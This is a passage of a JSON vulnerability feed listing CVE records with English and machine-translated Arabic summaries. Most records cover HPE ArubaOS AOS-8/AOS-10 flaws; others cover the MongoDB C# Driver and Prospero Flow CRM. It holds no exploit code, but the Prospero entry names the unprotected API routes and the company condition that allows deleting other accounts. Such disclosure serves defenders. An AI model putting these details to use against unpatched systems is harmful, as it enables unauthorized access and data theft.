الأساسي."},"refs":[["https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05162en_us&docLocale=en_US","ref"]],"epss":0.0036,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"hewlett-packard-enterprise-hpe-arubaos"},{"id":"CVE-2026-79880","cvss":8.7,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:N/I:H/A:H","cwe":"CWE-918","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-22T19:18:00Z","product":"Hewlett Packard Enterprise (HPE) ArubaOS (AOS)","affected":[["8.13.0.0 – 8.13.3.0",null],["8.10.0.0 – 8.10.0.23",null]],"title":{"en":"Authenticated Server-Side Request Forgery leads to Remote Code Execution in AOS-8","ar":"تزوير الطلبات من جانب الخادم مع المصادقة يؤدي إلى تنفيذ أوامر عن بُعد في AOS-8"},"summary":{"en":"A vulnerability in the command line interface of AOS-8 could allow an authenticated remote attacker with high privileges to conduct a server-side request forgery (SSRF) attack. Successful exploitation could allow an attacker to execute arbitrary commands on the underlying operating system.","ar":"قد تسمح ثغرة في واجهة سطر أوامر AOS-8 لمهاجم عن بُعد يملك حسابًا مصادقًا عليه بصلاحيات عالية إجراء هجوم تزوير الطلبات من جانب الخادم (SSRF). قد يتيح الاستغلال الناجح للمهاجم تنفيذ أوامر عشوائية على نظام التشغيل الأساسي."},"refs":[["https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05162en_us&docLocale=en_US","ref"]],"epss":0.005,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"hewlett-packard-enterprise-hpe-arubaos"},{"id":"CVE-2026-79881","cvss":8.3,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H","cwe":"CWE-287","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-22T19:18:00Z","product":"Hewlett Packard Enterprise (HPE) ArubaOS (AOS)","affected":[["8.13.0.0 – 8.13.3.0",null],["8.10.0.0 – 8.10.0.23",null]],"title":{"en":"Authentication Bypass Leading to Remote Code Execution in AOS-8","ar":"تجاوز المصادقة يؤدي إلى تنفيذ أوامر عن بُعد في AOS-8"},"summary":{"en":"An authentication bypass vulnerability in the underlying operating system of AOS-8 could allow an unauthenticated remote attacker to circumvent existing authentication controls. Successful exploitation could allow an attacker to execute arbitrary code as a privileged user on the underlying operating system leading to complete system compromise.","ar":"قد تسمح ثغرة تجاوز المصادقة في نظام التشغيل الأساسي لـ AOS-8 لمهاجم عن بُعد دون مصادقة بالالتفاف على ضوابط المصادقة الحالية. قد يتيح الاستغلال الناجح للمهاجم تنفيذ شيفرة عشوائية كمستخدم مميز على نظام التشغيل الأساسي مما يؤدي إلى اختراق كامل للنظام."},"refs":[["https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05162en_us&docLocale=en_US","ref"]],"epss":0.0044,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"hewlett-packard-enterprise-hpe-arubaos"},{"id":"CVE-2026-79882","cvss":8.3,"vector":"CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H","cwe":"CWE-77","tags":["RCE"],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-22T19:18:00Z","product":"Hewlett Packard Enterprise (HPE) ArubaOS (AOS)","affected":[["10.8.0.0 – 10.8.1.1",null],["10.7.0.0 – 10.7.2.6",null],["10.4.0.0 – 10.4.1.13",null]],"title":{"en":"Unauthenticated Adjacent Command Injection Vulnerability in the PAPI Protocol of AOS-10","ar":"ثغرة حقن أوامر متجاورة دون مصادقة في بروتوكول PAPI لـ AOS-10"},"summary":{"en":"There is a command injection vulnerability in the PAPI protocol of AOS-10 that could lead to unauthenticated remote code execution by an adjacent attacker sending specially crafted packets. Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code as a privileged user on the underlying operating system.","ar":"توجد ثغرة حقن أوامر في بروتوكول PAPI لـ AOS-10 قد تؤدي إلى تنفيذ أوامر عن بُعد دون مصادقة بواسطة مهاجم متجاور يرسل حزماً مصممة خصيصًا. قد يتيح الاستغلال الناجح لهذه الثغرة للمهاجم تنفيذ شيفرة عشوائية كمستخدم مميز على نظام التشغيل الأساسي."},"refs":[["https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05162en_us&docLocale=en_US","ref"]],"epss":0.0077,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"hewlett-packard-enterprise-hpe-arubaos"},{"id":"CVE-2026-79883","cvss":8.3,"vector":"CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:H","cwe":"CWE-120","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-22T19:18:00Z","product":"Hewlett Packard Enterprise (HPE) ArubaOS (AOS)","affected":[["10.8.0.0 – 10.8.1.1",null],["10.7.0.0 – 10.7.2.6",null],["10.4.0.0 – 10.4.1.13",null]],"title":{"en":"Unauthenticated Adjacent Buffer Overflow Vulnerability in the PAPI Protocol leads to Sensitive Information Disclosure in AOS-10","ar":"ثغرة فيضان المخزن المؤقت المتجاورة دون مصادقة في بروتوكول PAPI تؤدي إلى الكشف عن معلومات حساسة في AOS-10"},"summary":{"en":"A buffer overflow vulnerability in the PAPI protocol of HPE Networking AOS-10 could allow an unauthenticated adjacent attacker to access sensitive information. Successful exploitation could allow an attacker to retrieve information which could be used to potentially gain further access to network services supported by AOS-10, and to interrupt the normal operation of the affected service.","ar":"قد تسمح ثغرة فيضان المخزن المؤقت في بروتوكول PAPI لنظام HPE Networking AOS-10 لمهاجم متجاور دون مصادقة بالوصول إلى معلومات حساسة. قد يتيح الاستغلال الناجح للمهاجم استرجاع معلومات يمكن استخدامها للحصول على وصول إضافي محتمل إلى خدمات الشبكة التي تدعمها AOS-10، ومقاطعة التشغيل العادي للخدمة المتأثرة."},"refs":[["https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05162en_us&docLocale=en_US","ref"]],"epss":0.0022,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"hewlett-packard-enterprise-hpe-arubaos"},{"id":"CVE-2026-79884","cvss":8.2,"vector":"CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:L","cwe":"CWE-287","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-22T19:18:00Z","product":"Hewlett Packard Enterprise (HPE) ArubaOS (AOS)","affected":[["8.13.0.0 – 8.13.3.0",null],["8.10.0.0 – 8.10.0.23",null]],"title":{"en":"Authentication Bypass leads to Sensitive Information Disclosure in AOS-8","ar":"تجاوز المصادقة يؤدي إلى الكشف عن معلومات حساسة في AOS-8"},"summary":{"en":"A vulnerability in the web-based management interface of AOS-8 could allow an unauthenticated adjacent attacker to bypass existing authentication controls and access sensitive information. Successful exploitation could allow an attacker to gain access to some data in a cleartext format possibly exposing other network infrastructure to further compromise.","ar":"توجد ثغرة في واجهة الإدارة المستندة إلى الويب في AOS-8 قد تسمح لمهاجم مجاور دون مصادقة بتجاوز ضوابط المصادقة الحالية والوصول إلى معلومات حساسة. قد يتيح الاستغلال الناجح لمهاجم الحصول على بعض البيانات بصيغة نص صريح مما قد يعرض بنيات شبكية أخرى لخطر اختراق إضافي."},"refs":[["https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05162en_us&docLocale=en_US","ref"]],"epss":0.0025,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"hewlett-packard-enterprise-hpe-arubaos"},{"id":"CVE-2026-79875","cvss":9.3,"vector":"CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N","cwe":"CWE-287","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-22T19:17:59Z","product":"Hewlett Packard Enterprise (HPE) ArubaOS (AOS)","affected":[["8.13.0.0 – 8.13.3.0",null],["8.10.0.0 – 8.10.0.23",null]],"title":{"en":"Authentication Bypass in the PAPI Protocol of AOS-8 Allows Unauthorized Administrative Access","ar":"تجاوز المصادقة في بروتوكول PAPI الخاص بـ AOS-8 يتيح وصولاً إداريًا غير مصرح به"},"summary":{"en":"A vulnerability has been identified in the PAPI protocol of AOS-8 that could potentially allow an unauthenticated adjacent attacker to circumvent existing authentication controls. Successful exploitation could allow an attacker to gain administrative access, modify system configurations, and access or manipulate sensitive data.","ar":"تم تحديد ثغرة في بروتوكول PAPI الخاص بـ AOS-8 قد تسمح -على الأرجح- لمهاجم مجاور دون مصادقة بالالتفاف على ضوابط المصادقة الحالية. قد يتيح الاستغلال الناجح لمهاجم الحصول على صلاحيات إدارية، وتعديل إعدادات النظام، والوصول إلى البيانات الحساسة أو التلاعب بها."},"refs":[["https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05162en_us&docLocale=en_US","ref"]],"epss":0.0023,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"hewlett-packard-enterprise-hpe-arubaos"},{"id":"CVE-2026-79869","cvss":9.6,"vector":"CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","cwe":"CWE-287","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-22T19:17:59Z","product":"Hewlett Packard Enterprise (HPE) ArubaOS (AOS)","affected":[["10.8.0.0 – 10.8.1.1",null],["10.7.0.0 – 10.7.2.6",null],["10.4.0.0 – 10.4.1.13",null]],"title":{"en":"Authentication Bypass Leading to Remote Code Execution in AOS-10","ar":"تجاوز المصادقة المؤدي إلى تنفيذ أوامر عن بُعد في AOS-10"},"summary":{"en":"Authentication bypass vulnerabilities in the affected interface of AOS-10 could allow an unauthenticated adjacent attacker to circumvent existing authentication controls. Successful exploitation could allow an attacker to execute arbitrary commands as a privileged user on the underlying operating system.","ar":"قد تسمح ثغرات تجاوز المصادقة في الواجهة المتأثرة من AOS-10 لمهاجم مجاور دون مصادقة بالالتفاف على ضوابط المصادقة الحالية. قد يتيح الاستغلال الناجح لمهاجم تنفيذ شيفرة عشوائية كمستخدم يملك صلاحيات على نظام التشغيل الأساسي."},"refs":[["https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05162en_us&docLocale=en_US","ref"]],"epss":0.0029,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"hewlett-packard-enterprise-hpe-arubaos"},{"id":"CVE-2026-79874","cvss":9.3,"vector":"CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N","cwe":"CWE-287","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-22T19:17:59Z","product":"Hewlett Packard Enterprise (HPE) ArubaOS (AOS)","affected":[["10.8.0.0 – 10.8.1.1",null],["10.7.0.0 – 10.7.2.6",null],["10.4.0.0 – 10.4.1.13",null]],"title":{"en":"Authentication Bypass in the API allows Administrative Access of AOS-10","ar":"تخطي المصادقة في واجهة برمجة التطبيقات يتيح الوصول الإداري في AOS-10"},"summary":{"en":"An authentication bypass in the API of AOS-10 allows an unauthenticated adjacent attacker to circumvent existing authentication controls. Successful exploitation could allow an attacker to gain administrative access, modify system configurations, and access or manipulate sensitive data.","ar":"يؤدي وجود تخطي للمصادقة في واجهة برمجة التطبيقات الخاصة بنظام AOS-10 إلى تمكين مهاجم مجاور دون مصادقة من التحايل على ضوابط المصادقة الحالية. قد يتيح الاستغلال الناجح لمهاجم الحصول على صلاحيات إدارية، وتعديل إعدادات النظام، والوصول إلى البيانات الحساسة أو التلاعب بها."},"refs":[["https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05162en_us&docLocale=en_US","ref"]],"epss":0.0025,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"hewlett-packard-enterprise-hpe-arubaos"},{"id":"CVE-2026-79858","cvss":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-89","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-22T19:17:58Z","product":"Hewlett Packard Enterprise (HPE) ArubaOS (AOS)","affected":[["8.13.0.0 – 8.13.3.0",null],["8.10.0.0 – 8.10.0.23",null]],"title":{"en":"Unauthenticated SQL Injection Vulnerability in the PAPI Protocol of AOS-8","ar":"ثغرة حقن SQL دون مصادقة في بروتوكول PAPI الخاص بـ AOS-8"},"summary":{"en":"An unauthenticated SQL injection vulnerability exists in the PAPI protocol in AOS-8. Successful exploitation could allow an unauthenticated remote attacker to obtain and modify sensitive information in the underlying database and to interrupt the normal operation of the affected service.","ar":"توجد ثغرة حقن SQL دون مصادقة في بروتوكول PAPI في AOS-8. قد يتيح الاستغلال الناجح لمهاجم عن بُعد دون مصادقة الحصول على معلومات حساسة وتعديلها في قاعدة البيانات الأساسية ومقاطعة التشغيل العادي للخدمة المتأثرة."},"refs":[["https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05162en_us&docLocale=en_US","ref"]],"epss":0.0053,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"hewlett-packard-enterprise-hpe-arubaos"},{"id":"CVE-2026-79853","cvss":9.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-200","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-22T19:17:57Z","product":"Hewlett Packard Enterprise (HPE) ArubaOS (AOS)","affected":[["10.8.0.0 – 10.8.1.1",null],["10.7.0.0 – 10.7.2.6",null],["10.4.0.0 – 10.4.1.13",null]],"title":{"en":"Unauthenticated Sensitive Information Disclosure leads to Remote Code Execution in AOS-10","ar":"الكشف عن معلومات حساسة دون مصادقة يؤدي إلى تنفيذ أوامر عن بُعد في AOS-10"},"summary":{"en":"Sensitive information disclosure vulnerabilities in the affected interface of AOS-10 could allow an unauthenticated remote attacker to obtain sensitive information from the affected system. Successful exploitation could allow an attacker to execute arbitrary commands on the underlying operating system.","ar":"قد تسمح ثغرات الكشف عن معلومات حساسة في الواجهة المتأثرة من AOS-10 لمهاجم عن بُعد دون مصادقة بالحصول على معلومات حساسة من النظام المتأثر. قد يتيح الاستغلال الناجح لمهاجم تنفيذ شيفرة عشوائية على نظام التشغيل الأساسي."},"refs":[["https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05162en_us&docLocale=en_US","ref"]],"epss":0.007,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"hewlett-packard-enterprise-hpe-arubaos"},{"id":"CVE-2026-79846","cvss":10,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","cwe":"CWE-77","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-22T19:17:56Z","product":"Hewlett Packard Enterprise (HPE) ArubaOS (AOS)","affected":[["8.13.0.0 – 8.13.3.0",null],["8.10.0.0 – 8.10.0.23",null]],"title":{"en":"Unauthenticated Command Injection Vulnerabilities in AOS-8","ar":"ثغرات حقن أوامر دون مصادقة في AOS-8"},"summary":{"en":"Command injection vulnerabilities exist in the affected interface of AOS-8 that could allow an unauthenticated remote attacker to run arbitrary commands on the underlying host if certain preconditions outside of the attacker's control are met. Successful exploitation could allow an attacker to execute arbitrary commands on the underlying operating system.","ar":"توجد ثغرات حقن أوامر في الواجهة المتأثرة لـ AOS-8 والتي قد تسمح لمهاجم عن بُعد دون مصادقة بتنفيذ أوامر عشوائية على المضيف الأساسي إذا تم استيفاء شروط مسبقة معينة خارجة عن سيطرة المهاجم. قد يتيح الاستغلال الناجح لمهاجم تنفيذ أوامر عشوائية على نظام التشغيل الأساسي."},"refs":[["https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05162en_us&docLocale=en_US","ref"]],"epss":0.0159,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"hewlett-packard-enterprise-hpe-arubaos"},{"id":"CVE-2026-114648","cvss":7.6,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:H","cwe":"CWE-943","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-22T19:17:38Z","product":"MongoDB C# Driver","affected":[["2.14.0 – <3.13.0","3.13.0"]],"title":{"en":"NoSQL injection via dot and dollar characters in LINQ filter field names and dictionary keys","ar":"حقن NoSQL عبر أحرف النقطة والدولار في أسماء حقول عوامل تصفية LINQ ومفاتيح القواميس"},"summary":{"en":"The MongoDB C# Driver does not neutralize dot and dollar characters in dictionary keys, field names and array-filter identifiers used in LINQ queries before placing them into the field paths it sends to the server. An application user whose input reaches these positions can redirect a query or update to fields the application did not name, which can expose other users' documents and widen updates beyond the intended data. Certain values can also write malformed fields that leave stored documents unreadable by the application until they are repaired.","ar":"لا يقوم برنامج التشغيل MongoDB C# بتحييد أحرف النقطة والدولار في مفاتيح القواميس، وأسماء الحقول، ومحددات عوامل تصفية المصفوفات المستخدمة في استعلامات LINQ قبل وضعها في مسارات الحقول التي يرسلونها إلى الخادم. يمكن لمستخدم تطبيق تصل مدخلاته إلى هذه المواضع إعادة توجيه الاستعلام أو التحديث إلى حقول لم يقم التطبيق تسميتها، مما قد يكشف وثائق مستخدمين آخرين ويوسع نطاق التحديثات لتتجاوز البيانات المقصودة. يمكن لبعض القيم أيضًا كتابة حقول مشوهة تجعل المستندات المخزنة غير قابلة للقراءة بواسطة التطبيق حتى يتم إصلاحها."},"refs":[["https://github.com/mongodb/mongo-csharp-driver/releases/tag/v3.13.0","ref"],["https://github.com/mongodb/mongo-csharp-driver/security/advisories/GHSA-2xqr-fxmx-2cmf","ref"],["https://jira.mongodb.org/browse/CSHARP-6181","ref"]],"epss":0.0032,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"mongodb-c-driver"},{"id":"CVE-2026-114519","cvss":8.6,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","cwe":"CWE-862","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-22T19:17:37Z","product":"Roskus Prospero Flow CRM","affected":[["2.0.0 – <5.26.0","5.26.0"]],"title":{"en":"Missing authorization in the Prospero Flow CRM user API allows a basic role user to read and delete other accounts","ar":"نقص التخويل في واجهة برمجة التطبيقات للمستخدمين في Prospero Flow CRM يتيح لمستخدم ذي دور أساسي قراءة وحذف حسابات أخرى"},"summary":{"en":"Missing Authorization (CWE-862) in the user API of Roskus Prospero Flow CRM from 2.0.0 before 5.26.0 allows a user with a basic role to read the accounts of other users of its own company, including accounts with higher privileges, and, in versions from 3.5.0, to delete them, because the routes GET /api/user/{id} and DELETE /api/user/{id} in routes/api.php carry only the auth:api middleware, which checks that a JSON Web Token is valid and nothing more, and neither UserReadController::read() nor UserDeleteController::delete() checks a permission, a policy or a role before acting. Object access is scoped by company: the read path limits the query to the company of the authenticated user, and the delete path compares the company of the target account with the company of the authenticated user. The delete path skips that comparison when the company of the authenticated user is Company::DEFAULT_COMPANY, so a user with a basic role in that company can delete any account of any company of the installation. Deleting an account removes the data held on it, and the last administrative account of a company can be deleted. This gives the attacker the personal data held on the other accounts, including email address, telephone number, postal address and IBAN, and the ability to delete accounts it has no permission to administer.","ar":"يؤدي نقص التخويل (CWE-862) في واجهة برمجة التطبيقات للمستخدمين في نظام Roskus Prospero Flow CRM من الإصدار 2.0.0 وحتى ما قبل 5.26.0 إلى السماح لمستخدم ذي دور أساسي بقراءة حسابات المستخدمين الآخرين التابعين لشركته الخاصة، بما في ذلك الحسابات ذات الصلاحيات الأعلى، وفي الإصدارات من 3.5.0 وما بعده، السماح بحذفها. ويعود ذلك إلى أن المسارين GET /api/user/{id} و DELETE /api/user/{id} في ملف routes/api.php يعتمدان فقط على وسيط المصادقة auth:api الذي يتحقق من صلاحية رمز JSON Web Token فقط دون أي تحقق إضافي، كما أن كلا من UserReadController::read() و UserDeleteController::delete() لا يتحققان من الصلاحيات أو السياسات أو الأدوار قبل تنفيذ الإجراء. يتم تحديد نطاق الوصول إلى الكائنات بناءً على الشركة: حيث يتقيد مسار القراءة بالاستعلام عن شركة المستخدم المصادق عليه، بينما يقارن مسار الحذف شركة الحساب المستهدف بشركة المستخدم المصادق عليه. ويتجاوز مسار الحذف عملية المقارنة هذه عندما تكون شركة المستخدم المصادق عليه هي Company::DEFAULT_COMPANY، مما يتيح لمستخدم ذي دور أساسي في تلك الشركة حذف أي حساب لأي شركة ضمن التثبيت. يؤدي حذف الحساب إلى إزالة البيانات المرتبطة به، ويمكن حذف الحساب الإداري الأخير للشركة. يمنح هذا المهاجم البيانات الشخصية المخزنة في الحسابات الأخرى، بما في ذلك عنوان البريد الإلكتروني، ورقم الهاتف، والعنوان البريدي، ورقم الحساب المصرفي الدولي (IBAN)، فضلاً عن القدرة على حذف حسابات ليس لديه إذن بإدارتها."},"refs":[["https://github.com/Roskus/prospero-flow-crm/commit/52cd172ccc7c3332805d9e0b7fc992bda3d422bf","patch"],["https://secur0.com/en/cna/cve-list/cve-2026-114519-missing-authorization-user-api","advisory"]],"epss":0.0036,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"roskus-prospero-flow-crm"},{"id":"CVE-2026-114644","cvss":8.2,"vector":"CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","cwe":"CWE-770","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-10-22T19:13:48Z","product":"MongoDB C# Driver","affected":[["2.0.0 – <3.13.0","3.13.0"]],"title":{"en":"Memory-exhaustion denial of service via unbounded symbol interning during BSON/JSON deserialization","ar":"حجب الخدمة بسبب استنفاد الذاكرة عبر تخزين الرموز غير المحدود أثناء إلغاء تسلسل BSON/JSON"},"summary":{"en":"The MongoDB C# Driver's BSON library contains an uncontrolled resource consumption weakness in its deserialization handling of one BSON value type. An application that deserializes untrusted content with the library retains data derived from that content for the lifetime of the process, with no limit on how much accumulates. An unauthenticated remote party who can cause such content to be deserialized can drive unbounded memory growth, exhausting the host application's available memory and denying service. There is no impact to confidentiality or integrity, and no MongoDB server component is affected.","ar":"تحتوي مكتبة BSON في MongoDB C# Driver على نقطة ضعف تمثل استهلاكًا غير محكوم للموارد في معالجة إلغاء التسلسل لننوع قيمة BSON واحد. التطبيق الذي يلغي تسلسل محتوى غير موثوق به باستخدام المكتبة يحتفظ بالبيانات المستمدة من هذا المحتوى طوال دورة حياة العملية، دون أي حد لحجم ما يتراكم. يمكن لطرف بعيد دون مصادقة، يمكنه التسبب في إلغاء تسلسل مثل هذا المحتوى، دفع نمو الذاكرة بلا حدود، مما يستنفد الذاكرة المتاحة لتطبيق المضيف ويتسبب في حجب الخدمة. لا يوجد تأثير على السرية أو السلامة، ولا يتأثر أي مكون خادم لـ MongoDB."},"refs":[["https://jira.mongodb.org/browse/CSHARP-6162","ref"],["https://github.com/mongodb/mongo-csharp-driver/releases/tag/v3.13.0","ref"],["https://github.com/mongodb/mongo-csharp-driver/security/advisories/GHSA-x24v-h3xm-qf9x","ref"]],"epss":0.0048,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"mongodb-c-driver"},{"id":"CVE-2026-79873","cvss":9.3,"vector":"CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N","cwe":"CWE-287","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-22T19:05:36Z","product":"Hewlett Packard Enterprise (HPE) ArubaOS (AOS)","affected":[["10.8.0.0 – 10.8.1.1",null],["10.7.0.0 – 10.7.2.6",null],["10.4.0.0 – 10.4.1.13",null]],"title":{"en":"Unauthenticated Adjacent Authentication Bypasses in the PAPI Protocol of AOS-10 Leads to Unauthorized Administrative Access","ar":"تجاوزات مصادقة مجاورة دون مصادقة في بروتوكول PAPI لـ AOS-10 تؤدي إلى وصول إداري غير مصرح به"},"summary":{"en":"Authentication bypass vulnerabilities in the PAPI protocol of AOS-10 could allow an unauthenticated adjacent attacker to circumvent existing authentication controls. Successful exploitation could allow an attacker to gain administrative access, modify system configurations, and access or manipulate sensitive data on affected devices.","ar":"قد تتيح ثغرات تجاوز المصادقة في بروتوكول PAPI الخاص بـ AOS-10 لمهاجم مجاور دون مصادقة التحايل على ضوابط المصادقة الحالية. قد يتيح الاستغلال الناجح للمهاجم الحصول على صلاحيات إدارية، وتعديل إعدادات النظام، والوصول إلى البيانات الحساسة أو التلاعب بها على الأجهزة المتأثرة."},"refs":[["https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05162en_us&docLocale=en_US","ref"]],"epss":0.0025,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"hewlett-packard-enterprise-hpe-arubaos"},{"id":"CVE-2026-79872","cvss":9.4,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L","cwe":"CWE-121","tags":["RCE"],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-22T19:05:35Z","product":"Hewlett Packard Enterprise (HPE) ArubaOS (AOS)","affected":[["10.8.0.0 – 10.8.1.1",null],["10.7.0.0 – 10.7.2.6",null],["10.4.0.0 – 10.4.1.13",null],["8.13.0.0 – 8.13.3.0",null],["8.10.0.0 – 8.10.0.23",null]],"title":{"en":"Unauthenticated Buffer Overflow Vulnerability allows Remote Code Execution in AOS-10 and AOS-8","ar":"ثغرة فيضان المخزن المؤقت دون مصادقة تتيح تنفيذ أوامر عن بُعد في AOS-10 وAOS-8"},"summary":{"en":"A buffer overflow vulnerability exists in the underlying operating system of AOS that could lead to unauthenticated remote code execution by an unauthenticated remote attacker. Successful exploitation of this vulnerability results in the ability to execute arbitrary code as a privileged user on the underlying operating system.","ar":"توجد ثغرة فيضان المخزن المؤقت في نظام التشغيل الأساسي لـ AOS والتي قد تؤدي إلى تنفيذ أوامر عن بُعد دون مصادقة بواسطة مهاجم عن بُعد دون مصادقة. ينتج عن الاستغلال الناجح لهذه الثغرة القدرة على تنفيذ شيفرة عشوائية كصيغة مستخدم مميز على نظام التشغيل الأساسي."},"refs":[["https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05162en_us&docLocale=en_US","ref"]],"epss":0.0056,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"hewlett-packard-enterprise-hpe-arubaos"},{"id":"CVE-2026-79871","cvss":9.6,"vector":"CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","cwe":"CWE-200","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-22T19:05:34Z","product":"Hewlett Packard Enterprise (HPE) ArubaOS (AOS)","affected":[["10.8.0.0 – 10.8.1.1",null],["10.7.0.0 – 10.7.2.6",null],["10.4.0.0 – 10.4.1.13",null]],"title":{"en":"Unauthenticated Sensitive Information Disclosure in the Command Line Interface of AOS-10","ar":"الإفصاح عن معلومات حساسة دون مصادقة في واجهة سطر الأوامر لـ AOS-10"},"summary":{"en":"A sensitive information disclosure vulnerability in the command line interface of AOS-10 could allow an unauthenticated remote attacker to access sensitive information. Successful exploitation could allow an attacker to retrieve information which could be used to potentially gain further access to network services supported by AOS-10.","ar":"قد تسمح ثغرة الإفصاح عن معلومات حساسة في واجهة سطر الأوامر لـ AOS-10 لمهاجم عن بُعد دون مصادقة بالوصول إلى معلومات حساسة. وقد يسمح الاستغلال الناجح للمهاجم باستعادة معلومات يمكن استخدامها لاحتمال الحصول على وصول إضافي إلى خدمات الشبكة التي يدعمها AOS-10."},"refs":[["https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05162en_us&docLocale=en_US","ref"]],"epss":0.0031,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"hewlett-packard-enterprise-hpe-arubaos"},{"id":"CVE-2026-79870","cvss":9.6,"vector":"CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","cwe":"CWE-287","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-10-22T19:05:32Z","product":"Hewlett Packard Enterprise (HPE) ArubaOS (AOS)","affected":[["8.13.0.0 – 8.13.3.0",null],["8.10.0.0 – 8.10.0.23",null]],"title":{"en":"Authentication Bypass leads to Unauthorized Access in AOS-8","ar":"تجاوز المصادقة يؤدي إلى وصول غير مصرح به في AOS-8"},"summary":{"en":"An authentication bypass vulnerability in the PAPI protocol of AOS-8 could allow an unauthenticated adjacent attacker to circumvent existing authentication controls. Successful exploitation could allow an attacker to gain administrative access, modify system configurations, access or manipulate sensitive data, and disrupt network operations.","ar":"قد تسمح ثغرة تجاوز المصادقة في بروتوكول PAPI في AOS-8 لمهاجم مجاور دون مصادقة 